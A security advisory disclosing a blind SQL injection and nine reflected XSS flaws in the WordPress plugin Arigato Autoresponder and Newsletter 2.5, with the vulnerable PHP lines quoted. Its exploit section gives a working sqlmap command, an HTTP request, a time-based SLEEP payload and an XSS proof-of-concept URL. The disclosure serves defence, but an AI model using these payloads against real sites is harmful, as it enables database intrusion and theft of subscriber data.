WordPress Plugin Arigato Autoresponder and Newsletter 2.5 Blind SQL Injection / Reflected Cross-Site Scripting

Title: Blind SQL injection and multiple reflected XSS vulnerabilities in Wordpress Plugin Arigato Autoresponder and Newsletter v2.5 Author: Larry W. Cashdollar, @_larry0 Date: 2018-08-22 CVE-IDs:[CVE-2018-1002000][CVE-2018-1002001][CVE-2018-1002002][CVE-2018-1002003][CVE-2018-1002004][CVE-2018-1002005][CVE-2018-1002006][CVE-2018-1002007][CVE-2018-1002008][CVE-2018-1002009] Download Site: https://wordpress.org/plugins/bft-autoresponder/ Vendor: Kiboko Labs https://calendarscripts.info/ Vendor Notified: 2018-08-22, Fixed v2.5.1.5 Vendor Contact: @prasunsen wordpress.org Advisory: http://www.vapidlabs.com/advisory.php?v=203 Description: This plugin allows scheduling of automated autoresponder messages and newsletters, and managing a mailing list. You can add/edit/delete and import/export members. There is also a registration form which can be placed in any website or blog. You can schedule unlimited number of email messages. Messages can be sent on defined number of days after user registration, or on a fixed date. Vulnerability: These vulnerabilities require administrative priveledges to exploit. CVE-2018-1002000 There is an exploitable blind SQL injection vulnerability via the del_ids variable by POST request. In line 69 of file controllers/list.php: 65 $wpdb->query("DELETE FROM ".BFT_USERS." WHERE id IN (".$_POST['del_ids'].")"); del_ids is not sanitized properly. Nine Reflected XSS. CVE-2018-1002001 In line 22-23 of controllers/list.php: 22 $url = "admin.php?page=bft_list&offset=".$_GET['offset']."&ob=".$_GET['ob']; 23 echo "<meta http-equiv='refresh' content='0;url=$url' />"; CVE-2018-1002002 bft_list.html.php:28: <div><label><?php _e('Filter by email', 'broadfast')?>:</label> <input type="text" name="filter_email" value="<?php echo @$_GET['filter_email']?>"></div> CVE-2018-1002003 bft_list.html.php:29: <div><label><?php _e('Filter by name', 'broadfast')?>:</label> <input type="text" name="filter_name" value="<?php echo @$_GET['filter_name']?>"></div> CVE-2018-1002004 bft_list.html.php:42: <input type="text" class="bftDatePicker" name="sdate" id="bftSignupDate" value="<?php echo empty($_GET['sdate']) ? '' : $_GET['sdate']?>"> CVE-2018-1002005 bft_list.html.php:43: <input type="hidden" name="filter_signup_date" value="<?php echo empty($_GET['filter_signup_date']) ? '' : $_GET['filter_signup_date']?>" id="alt_bftSignupDate"></div> CVE-2018-1002006 integration-contact-form.html.php:14: <p><label><?php _e('CSS classes (optional):', 'broadfast')?></label> <input type="text" name="classes" value="<?php echo @$_POST['classes']?>"></p> CVE-2018-1002007 integration-contact-form.html.php:15: <p><label><?php _e('HTML ID (optional):', 'broadfast')?></label> <input type="text" name="html_id" value="<?php echo @$_POST['html_id']?>"></p> CVE-2018-1002008 list-user.html.php:4: <p><a href="admin.php?page=bft_list&ob=<?php echo $_GET['ob']?>&offset=<?php echo $_GET['offset']?>"><?php _e('Back to all subscribers', 'broadfast');?></a></p> CVE-2018-1002009 unsubscribe.html.php:3: <p><input type="text" name="email" value="<?php echo @$_GET['email']?>"></p> Exploit Code: SQL Injection CVE-2018-1002000 $ sqlmap --load-cookies=./cook -r post_data --level 2 --dbms=mysql Where post_data is: POST /wp-admin/admin.php?page=bft_list&ob=email&offset=0 HTTP/1.1 Host: example.com Connection: keep-alive Content-Length: 150 Cache-Control: max-age=0 Origin: http://example.com Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://example.com/wp-admin/admin.php?page=bft_list&ob=email&offset=0 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: wordpress_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX mass_delete=1&del_ids=*&_wpnonce=aa7aa407db&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dbft_list%26ob%3Demail%26offset%3D0[!http] (custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 300 HTTP(s) requests: --- Parameter: #1* ((custom) POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 time-based blind - Parameter replace Payload: mass_delete=1&del_ids=(CASE WHEN (6612=6612) THEN SLEEP(5) ELSE 6612 END)&_wpnonce=aa7aa407db&_wp_http_referer=/wp-admin/admin.php?page=bft_list%26ob=email%26offset=0[!http] --- [11:50:08] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 8.0 (jessie) web application technology: Apache 2.4.10 back-end DBMS: MySQL >= 5.0.12 [11:50:08] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/' [*] shutting down at 11:50:08 CVE-2018-1002001 http://example.com/wp-admin/admin.php?page=bft_list&action=edit&id=12&ob=XSS&offset=XSS

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